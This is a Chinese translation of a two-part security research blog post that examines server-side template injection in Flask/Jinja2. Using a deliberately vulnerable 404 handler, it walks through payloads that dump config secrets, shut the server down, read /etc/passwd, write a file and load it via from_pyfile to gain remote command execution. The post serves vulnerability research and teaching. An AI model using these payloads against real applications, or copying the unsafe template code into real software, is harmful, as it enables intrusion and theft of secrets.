Exploring SSTI in Flask/Jinja2

wyzsk發表於2020-08-19
作者: Larry · 2016/03/16 16:07

Part1: https://nvisium.com/blog/2016/03/09/exploring-ssti-in-flask-jinja2/
Part2: https://nvisium.com/blog/2016/03/11/exploring-ssti-in-flask-jinja2-part-ii/

Part 1

如果你從未聽過服務端模板注入(SSTI)攻擊,或者不太瞭解它是個什麼東西的話,建議在繼續瀏覽本文之前可以閱讀一下James Kettle寫的這篇文章

作為安全從業者,我們都是在幫助企業做一些基於風險的決策。因為風險是影響和屬性的產物,所以我們在不知道一個漏洞的真實影響力的情況下,無法正確地計算出相應的風險值。作為一個經常使用Flask框架的開發者,James的研究促使我去弄清楚,SSTI對基於Flask/Jinja2開發堆疊的應用程式的影響有多大。這篇文章就是我研究的結果。如果你想在深入之前瞭解更多的背景知識,你可以檢視一下Ryan Reid寫的這篇文章,其中提供了在Flask/Jinja2應用中更多有關SSTI的資訊。

0x00 Setup


為了評估在Flask/Jinja2堆疊中SSTI的影響,讓我們建立一個小小的poc程式,程式碼如下。

#!python
@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
    <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template), 404

在這段程式碼的背後,該開發者覺得為一個小小的404頁面建立一個單獨的模板檔案可能會有些愚蠢了,所以他就在404檢視功能當中建立了一個模板字串。該開發者想要回顯出使用者輸入的錯誤URL;但該開發者選擇使用字串格式化,來將URL動態地加入到模板字串中,而不是透過render_template_string函式將URL傳遞進入模板內容當中。感覺相當合理,對不對?這是我見過最糟的了。

在測試這項功能的時候,我們看到了預期的效果。

看到這種情況大多數人馬上會想到XSS,他們的想法是正確的。在URL的尾部加上<script>alert(42)</script>就觸發了一個XSS漏洞。

目的碼很容易被XSS,但是在James的文章中,他指出XSS很有可是SSTI的一個跡象。現在這種情況就是一個很好的例子。如果我們更加深入一點,在URL的末尾新增上{{ 7+7 }},我們可以看到模板引擎計算了數學表示式,應用程式在響應的時候將其解析成14

我們現在已經在目標應用程式中發現了SSTI漏洞。

0x01 Analysis


由於我們要得到一個可用的exp,下一步就是深入到模板環境當中,透過SSTI漏洞來尋找出可供攻擊者利用的點。我們修改一下poc程式中存在漏洞的預覽功能,如下所示。

#!python
@app.errorhandler(404)
def page_not_found(e):
    template = '''{%% extends "layout.html" %%}
{%% block body %%}
    <div class="center-content error">
        <h1>Oops! That page doesn't exist.</h1>
        <h3>%s</h3>
    </div>
{%% endblock %%}
''' % (request.url)
    return render_template_string(template,
        dir=dir,
        help=help,
        locals=locals,
    ), 404

我們將dir, help,和locals這些內建函式傳入到render_template_string函式中,透過函式呼叫將其加入到模板環境中,從而使用它們透過漏洞進行內省,來發現模板程式上可利用的點。

讓我們稍微暫停一下,探討探討文件中關於模板內容是怎麼說的。這裡有幾個模板內容中物件的最終來源。

  1. Jinja globals
  2. Flask template globals
  3. 開發者自己新增的物件

我們最關心的是第1點和第2點,因為它們通常都是預設的設定,在我們發現存在SSTI的任何Flask/Jinja2堆疊程式中都是可用的。第3點是依賴於應用程式的,而且有很多種實現的方式。這篇stackoverflow discussion的討論當中就包含了幾個例子。雖然我們在這篇文章中不會深入地討論第3點,但這也是在程式碼審計相關Flask/Jinja2堆疊應用程式原始碼時必須要考慮到的。

為了使用內省繼續研究,我們的方法應當如下。

  1. 閱讀文件!
  2. 使用dir內省locals物件,在模板內容中尋找一切可用的東西。
  3. 使用dirhelp深入瞭解所有的物件
  4. 分析任何有趣的Python原始碼(畢竟在堆疊中一切都是開源的)

0x02 Results


透過內省request物件我們來進行第一個有趣的探索發現。request物件是一個Flask模板全域性變數,代表“當前請求物件(flask.request)”。當你在檢視中訪問request物件時,它包含了你預期想看到的所有資訊。在request物件中有一個叫做environ的物件。request.environ是一個字典,其中包含和伺服器環境相關的物件。該字典當中有一個shutdown_server的方法,相應的key值為werkzeug.server.shutdown。所以猜猜看我們向服務端注入{{ request.environ['werkzeug.server.shutdown']() }}會發生什麼?沒錯,會產生一個及其低階別的拒絕服務。當使用gunicorn執行應用程式時就不會存在這個方法,所以漏洞就有可能受到開發環境的限制。

我們第二個有趣的發現來自於內省config物件。config物件是一個Flask模板全域性變數,代表“當前配置物件(flask.config)”。它是一個類似於字典的物件,其中包含了應用程式所有的配置值。在大多數情況下,會包含資料庫連線字串,第三方服務憑據,SECRET_KEY之類的敏感資訊。注入payload{{ config.items() }}就可以輕鬆檢視這些配置了。

不要認為在環境變數中儲存這些配置選項就可以抵禦這種資訊洩露。一旦相關的配置值被框架解析後,config物件就會把它們全部包含進去。

我們最有趣的發現也來自於內省config物件。雖然config物件是一個類似於字典的物件,但它也是包含若干獨特方法的子類:from_envvarfrom_objectfrom_pyfile,以及root_path。最後讓我們深入進去看看原始碼。以下的程式碼是Config物件中的from_object方法,flask/config.py

#!python
    def from_object(self, obj):
        """Updates the values from the given object.  An object can be of one
        of the following two types:    

        -   a string: in this case the object with that name will be imported
        -   an actual object reference: that object is used directly    

        Objects are usually either modules or classes.    

        Just the uppercase variables in that object are stored in the config.
        Example usage::    

            app.config.from_object('yourapplication.default_config')
            from yourapplication import default_config
            app.config.from_object(default_config)    

        You should not use this function to load the actual configuration but
        rather configuration defaults.  The actual config should be loaded
        with :meth:`from_pyfile` and ideally from a location not within the
        package because the package might be installed system wide.    

        :param obj: an import name or object
        """
        if isinstance(obj, string_types):
            obj = import_string(obj)
        for key in dir(obj):
            if key.isupper():
                self[key] = getattr(obj, key)    

    def __repr__(self):
        return '<%s %s>' % (self.__class__.__name__, dict.__repr__(self))

我們可以看到,如果我們將字串物件傳遞給from_object方法,它會將該字串傳遞給werkzeug/utils.py模組的import_string方法,該方法會從路徑中匯入名字匹配的任何模組並將其返回。

#!python
def import_string(import_name, silent=False):
    """Imports an object based on a string.  This is useful if you want to
    use import paths as endpoints or something similar.  An import path can
    be specified either in dotted notation (``xml.sax.saxutils.escape``)
    or with a colon as object delimiter (``xml.sax.saxutils:escape``).    

    If `silent` is True the return value will be `None` if the import fails.    

    :param import_name: the dotted name for the object to import.
    :param silent: if set to `True` import errors are ignored and
                   `None` is returned instead.
    :return: imported object
    """
    # force the import name to automatically convert to strings
    # __import__ is not able to handle unicode strings in the fromlist
    # if the module is a package
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]    

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)    

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)    

    except ImportError as e:
        if not silent:
            reraise(
                ImportStringError,
                ImportStringError(import_name, e),
                sys.exc_info()[2])

對於新載入的模組,from_object方法會將那些變數名全是大寫的屬性新增到config物件中。其中有趣的地方就是,新增到config物件的屬性會保持原有的型別,這意味著透過config物件,我們可以從模板內容中呼叫新增的函式。為了證明這一點,我們使用SSTI漏洞注入{{ config.items() }},可以看到當前的整個配置選項。

再注入{{ config.from_object('os') }},這下就會在config物件中新增那些在os庫中變數名全是大寫的屬性。再次注入{{ config.items() }},就可以發現新的配置選項。同樣也需要注意這些配置選項的型別。

現在透過SSTI漏洞,我們可以呼叫新增到config物件中的任何可呼叫物件。下一步就是尋找可匯入模組的相關功能,再加以利用逃逸出模板沙盒。

以下的指令碼複製了from_objectimport_string的功能,並分析整個Python標準庫中可匯入的專案。

#!python
#!/usr/bin/env python    

from stdlib_list import stdlib_list
import argparse
import sys    

def import_string(import_name, silent=True):
    import_name = str(import_name).replace(':', '.')
    try:
        try:
            __import__(import_name)
        except ImportError:
            if '.' not in import_name:
                raise
        else:
            return sys.modules[import_name]    

        module_name, obj_name = import_name.rsplit('.', 1)
        try:
            module = __import__(module_name, None, None, [obj_name])
        except ImportError:
            # support importing modules not yet set up by the parent module
            # (or package for that matter)
            module = import_string(module_name)    

        try:
            return getattr(module, obj_name)
        except AttributeError as e:
            raise ImportError(e)    

    except ImportError as e:
        if not silent:
            raise    

class ScanManager(object):    

    def __init__(self, version='2.6'):
        self.libs = stdlib_list(version)    

    def from_object(self, obj):
        obj = import_string(obj)
        config = {}
        for key in dir(obj):
            if key.isupper():
                config[key] = getattr(obj, key)
        return config    

    def scan_source(self):
        for lib in self.libs:
            config = self.from_object(lib)
            if config:
                conflen = len(max(config.keys(), key=len))
                for key in sorted(config.keys()):
                    print('[{0}] {1} => {2}'.format(lib, key.ljust(conflen), repr(config[key])))    

def main():
    # parse arguments
    ap = argparse.ArgumentParser()
    ap.add_argument('version')
    args = ap.parse_args()
    # creat a scanner instance
    sm = ScanManager(args.version)
    print('\n[{module}] {config key} => {config value}\n')
    sm.scan_source()    

# start of main code
if __name__ == '__main__':
    main()

以下是指令碼使用Python 2.7執行後的簡短輸出,其中包括了大多數可匯入的有趣專案。

#!shell
(venv)macbook-pro:search lanmaster$ ./search.py 2.7    

[{module}] {config key} => {config value}    

...
[ctypes] CFUNCTYPE               => <function CFUNCTYPE at 0x10c4dfb90>
...
[ctypes] PYFUNCTYPE              => <function PYFUNCTYPE at 0x10c4dff50>
...
[distutils.archive_util] ARCHIVE_FORMATS => {'gztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'gzip')], "gzip'ed tar-file"), 'ztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'compress')], 'compressed tar file'), 'bztar': (<function make_tarball at 0x10c5f9d70>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function make_zipfile at 0x10c5f9de8>, [], 'ZIP file'), 'tar': (<function make_tarball at 0x10c5f9d70>, [('compress', None)], 'uncompressed tar file')}
...
[ftplib] FTP                     => <class ftplib.FTP at 0x10cba7598>
[ftplib] FTP_TLS                 => <class ftplib.FTP_TLS at 0x10cba7600>
...
[httplib] HTTP                            => <class httplib.HTTP at 0x10b3e96d0>
[httplib] HTTPS                           => <class httplib.HTTPS at 0x10b3e97a0>
...
[ic] IC => <class ic.IC at 0x10cbf9390>
...
[shutil] _ARCHIVE_FORMATS => {'gztar': (<function _make_tarball at 0x10a860410>, [('compress', 'gzip')], "gzip'ed tar-file"), 'bztar': (<function _make_tarball at 0x10a860410>, [('compress', 'bzip2')], "bzip2'ed tar-file"), 'zip': (<function _make_zipfile at 0x10a860500>, [], 'ZIP file'), 'tar': (<function _make_tarball at 0x10a860410>, [('compress', None)], 'uncompressed tar file')}
...
[xml language=".dom.pulldom"][/xml] SAX2DOM                => <class xml.dom.pulldom.SAX2DOM at 0x10d1028d8>
...
[xml language=".etree.ElementTree"][/xml] XML        => <function XML at 0x10d138de8>
[xml language=".etree.ElementTree"][/xml] XMLID      => <function XMLID at 0x10d13e050>
...

在這裡,我們對一些有趣的專案使用我們的方法,以期望尋找逃逸模板沙盒的辦法。

總而言之,我沒能夠從這些專案中找到沙盒逃逸的辦法。但是為了共享研究,下面給出我對其研究的一些附加資訊。另外請注意,我沒有窮盡所有的可能性,還是有進一步研究的可能性。

ftplib

這裡我們有使用ftplib.FTP物件的可能性,可以回連至我們控制的一臺伺服器,並且從受影響的伺服器上傳檔案。我們也可以從一臺伺服器上下載檔案到受影響的伺服器上,並且使用config.from_pyfile方法執行相關內容。對ftplib的文件和原始碼分析表明,ftplib需要開啟檔案控制程式碼才能做到以上幾點,因為在模板沙盒中open內建函式是禁止的,似乎並沒有建立檔案控制程式碼的方法。

httplib

這裡我們有使用httplib.HTTP物件的可能性,可以使用檔案協議file://來載入本地檔案系統上檔案的URL。不幸的是,httplib不支援檔案協議處理程式。

xml.etree.ElementTree

這裡我們有使用xml.etree.ElementTree.XML物件的可能型,可以使用使用者自定義的實體從檔案系統中載入檔案。然而,從這裡可以知道,etree不支援使用者自定義的實體。

xml.dom.pulldom

雖然xml.etree.ElementTree模組不支援使用者自定義的實體,但是pulldom模組支援。然而我們還是受限於xml.dom.pulldom.SAX2DOM類,因為其並沒有透過物件介面載入XML的方法。

0x03 Conclusion


雖然我們還沒有發現逃逸模板沙盒的方法,但我們已經在Flask/Jinja2開發堆疊中,確定SSTI漏洞的影響有所進展。我肯定這裡有些額外的挖掘工作需要去做,我打算繼續下去,但我也鼓勵其他人進行挖掘和探索。當我在研究中發現有意思的專案的時候,我會在這裡更新相關文章。

Part 2

最近我寫了一片文章,是關於在使用Flask/Jinja2開發堆疊的應用程式中,探索服務端模板注入攻擊(SSTI)的真實影響。我最初的目標是找到訪問檔案或作業系統的方法。雖然我之前是無法做到的,但是藉由一些facebook對於第一篇文章的反饋,我已經能夠實現我的目標了。本文就是我進一步研究的結果。

0x00 The Nudge


對於最初的那篇文章,Nicolas G發表瞭如下推文。

如果你稍微使用一下這個payload,你很快就會發現它是行不通的。其中有好幾個原因,我稍後會解釋一下。然而關鍵問題就在於,這個payload使用了幾個非常重要的內省元件,而在之前的研究中我們將其忽略了:__mro____subclasses__屬性。

宣告:以下的解釋都是處於一個較高的水平。我並不希望表現得我很瞭解這些元件的樣子。當我在處理一個語言或框架內部結構中的模糊部分時,大多數情況下我都只是嘗試一下,看它是否會像我預期的那樣做出反應,但我並不全知道結果背後的原因是什麼。我仍在學習這些屬性背後的緣由,但我還是想給你一些相關介紹。

__mro__中的MRO代表方法解析順序,並且在這裡定義為,“是一個包含類的元組,而其中的類就是在方法解析的過程中在尋找父類時需要考慮的類”。__mro__屬性以包含類的元組來顯示物件的繼承關係,它的父類,父類的父類,一直向上到object(如果是使用新式類的話)。它是每個物件的元類屬性,但它卻是一個隱藏屬性,因為Python在進行內省時明確地將它從dir的輸出中移除了(見Objects/object.c的第1812行)。

__subclasses__屬性則在這裡被定義為一個方法,“每個新式類保留對其直接子類的一個弱引用列表。此方法返回那些引用還存在的子類”。

簡而言之,__mro__讓我們到達當前Python環境中的繼承物件樹,而__subclasses__又讓我們回來了。所以對於Flask/Jinja2的SSTI漏洞更好的利用會造成什麼影響呢?讓我們以新式的物件開始,例如字串型別,可以使用__mro__達到繼承樹的頂端object類,然後再使用__subclasses__,可以在Python環境中向下達到每一個新式物件。是的,這就使我們能夠訪問到當前Python環境中載入的每一個類。所以我們該如何利用這個新get的技能?

0x02 Exploitation


在這裡需要考慮一些事情。Python環境當中將會包括:

  1. 所有Flask應用程式產生的物件
  2. 目標程式自定義的物件

我們著眼於更普遍的漏洞利用,所以我們想要搭建儘可能接近原生態Flask的測試環境。我們嚮應用程式中匯入的庫和第三方模組越多,我們攻擊向量的普遍性就越小。我們之前的poc程式很適合用來測試,所以我們就繼續使用它。

我們將要做的就是,在不修改任何原始碼的情況下尋找一個exp向量。在之前的文章中,我們向漏洞中新增了一些功能來進行內省。但在這裡就不再是必須的了。

我們要做的第一件事就是,選擇一個新式物件,用它來訪問object類。我們簡單地使用'',一個空字串,物件型別為str。然後我們就可以使用__mro__屬性來訪問物件的父類。將{{ ''.__class__.__mro__ }}作為payload注入到SSTI漏洞點當中。

可以看到返回了我們之前討論過的元組。因為我們要回退到object類,我們就使用索引2來選擇object類。現在我們到達了object類,我們使用__subclasses__屬性來dump應用程式中使用的所有類。將{{ ''.__class__.__mro__[2].__subclasses__() }}注入到SSTI漏洞點當中。

正如你所見,這裡輸出了很多東西。在我使用的目標程式中,有572個可用的類。這些會讓事情變得棘手,而且也是之前推特當中payload不能執行的原因。要記住,並不是每個應用程式的Python環境都是一樣的。我們的目標就是尋找有用的方法來訪問相關的檔案或作業系統。在所有的應用程式當中,不可能都使用類似於用subprocess.Popen這樣不常見的類,換一種情況就有可能無法利用了,就像之前那個推特中的payload一樣,就我發現的而言,在原生態的Flask中這種payload是無法利用的。幸運的是,可用利用原生態Flask的特性來讓我們實現類似的行為。

如果你梳理了一下之前payload的輸出,你就會發現<type 'file'>這個類。這是一個對檔案系統訪問的關鍵點。儘管open是建立file物件後的內建函式,但是file類也能夠例項化檔案物件,而且如果我們例項化了一個檔案物件,那麼我們就可用使用類似於read的方法來讀取相關內容。為了證明這一點,找到file類的索引,在我的環境中<type 'file'>類的索引是40,我們就注入{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}

所以現在我們就證明了,透過Flask/Jinja2中的SSTI進行任意檔案讀取是有可能的,但是我們還沒有完全搞定。在這裡我的目標是遠端程式碼/命令執行。

在上一篇文章當中提到了好幾種config物件的方法,可以將相關物件載入進入Flask的配置環境中。其中一個方法就是from_pyfile方法。以下的程式碼是Config類中的from_pyfile方法,flask/config.py

#!python
    def from_pyfile(self, filename, silent=False):
        """Updates the values in the config from a Python file.  This function
        behaves as if the file was imported as module with the
        :meth:`from_object` function.    

        :param filename: the filename of the config.  This can either be an
                         absolute filename or a filename relative to the
                         root path.
        :param silent: set to `True` if you want silent failure for missing
                       files.    

        .. versionadded:: 0.7
           `silent` parameter.
        """
        filename = os.path.join(self.root_path, filename)
        d = imp.new_module('config')
        d.__file__ = filename
        try:
            with open(filename) as config_file:
                exec(compile(config_file.read(), filename, 'exec'), d.__dict__)
        except IOError as e:
            if silent and e.errno in (errno.ENOENT, errno.EISDIR):
                return False
            e.strerror = 'Unable to load configuration file (%s)' % e.strerror
            raise
        self.from_object(d)
        return True

這裡有一對有意思的東西。最明顯的就是將一個檔案的路徑作為引數傳遞進去,並且針對檔案中的內容使用compile函式。如果我們能向作業系統中寫檔案的話那事情就變得簡單了,不是嗎?嗯,正如我們剛才討論過的,我們可以做到!我們可以使用之前提到的file類不僅去讀檔案,而且也可以向目標伺服器的可寫入路徑中寫檔案。然後我們再透過SSTI漏洞呼叫from_pyfile方法去compile檔案並執行其中的內容。這就是一個二次進攻。首先,將{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('<malicious code here>'') }}注入到SSTI漏洞點。然後在透過注入{{ config.from_pyfile('/tmp/owned.cfg') }}呼叫編譯過程。該程式碼在編譯時將會被執行。這就實現了遠端程式碼執行。

讓我來更深入地研究一下。雖然執行程式碼已經足夠了,但是我們為了執行每個程式碼塊必須經過多個步驟,這些過程是很乏味的。讓我們充分地利用from_pyfile方法來達到我們預期的目的,並且向config物件中新增一些有用的東西。將{{ ''.__class__.__mro__[2].__subclasses__()[40]('/tmp/owned.cfg', 'w').write('from subprocess import check_output\n\nRUNCMD = check_output\n') }}注入到SSTI漏洞點。這就會在遠端伺服器上寫一個檔案,當其被編譯的時候,就可以從subprocess模組中匯入check_output方法,並將其設定成一個名為RUNCMD變數。如果你回憶一下之前的文章,你就會知道因為RUNCMD為一個大寫的變數名,就可以被新增到Flaskconfig物件中。

注入{{ config.from_pyfile('/tmp/owned.cfg') }}來將新的專案新增到config物件中。注意以下兩幅圖一前一後的差異。

現在我們就可以呼叫新的配置選項來執行遠端命令了。可以將{{ config['RUNCMD']('/usr/bin/id',shell=True) }}注入到SSTI漏洞點來進行證明。

遠端程式碼成功執行。

0x02 Conclusion


現在,我們可以進行Flask/Jinja2模板沙盒逃逸了,並且可以得出結論:SSTI在Flask/Jinja2環境中的影響是巨大的。

本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!

相關文章